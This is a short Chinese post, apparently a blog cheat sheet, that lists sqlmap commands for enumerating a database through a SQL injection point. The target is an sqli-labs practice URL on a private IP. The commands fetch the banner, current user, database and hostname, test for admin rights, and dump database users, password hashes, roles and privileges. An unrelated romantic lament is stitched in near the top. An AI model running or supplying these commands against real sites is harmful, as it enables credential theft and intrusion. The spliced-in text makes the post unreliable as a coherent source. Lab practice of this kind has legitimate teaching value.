注入工具 -- sqlmap(检索DBMS信息)

自从你删了我以后，我看了一年五个月的资料，时隔一年五个月，你突然出现在我的访客里，我呆坐了一夜，笑着哭，哭着笑，瞒着所有人我还是很喜欢你。。。

一、sqlmap检索DBMS Banner

–banner或者-b

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” -b

二、sqlmap检索DBMS当前用户

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --current-user

三、sqlmap检索DBMS当前数据库

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --current-db

四、sqlmap检索DBMS当前主机名

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --hostname

五、sqlmap探测当前用户是否是数据库管理员

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --is-dba

六、枚举DBMS用户

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --user

七、枚举DBMS用户密码

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --password

八、枚举DBMS权限

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --role

sqlmap -u “http://192.168.1.121/sqli/Less-1/?id=1” --privileges

禁止非法，后果自负

欢迎大家关注公众号：web安全工具库